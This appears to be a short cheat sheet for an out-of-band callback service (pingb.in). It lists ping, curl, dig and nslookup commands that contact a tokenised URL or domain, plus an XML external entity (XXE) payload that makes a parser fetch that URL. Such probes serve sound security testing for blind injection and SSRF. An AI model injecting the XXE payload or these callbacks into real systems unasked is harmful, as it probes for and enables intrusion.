$ ping -c1 -p 00b214e71d50a4dfd4195f977908b400 pingb.in
 

$ curl pingb.in/p/b214e71d50a4dfd4195f977908b4
 

$ dig b214e71d50a4dfd4195f977908b4 @pingb.in
 

$ dig b214e71d50a4dfd4195f977908b4.ns.pingb.in
 

C:\> nslookup b214e71d50a4dfd4195f977908b4 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/b214e71d50a4dfd4195f977908b4">]>
    <foo>&xxe;</foo>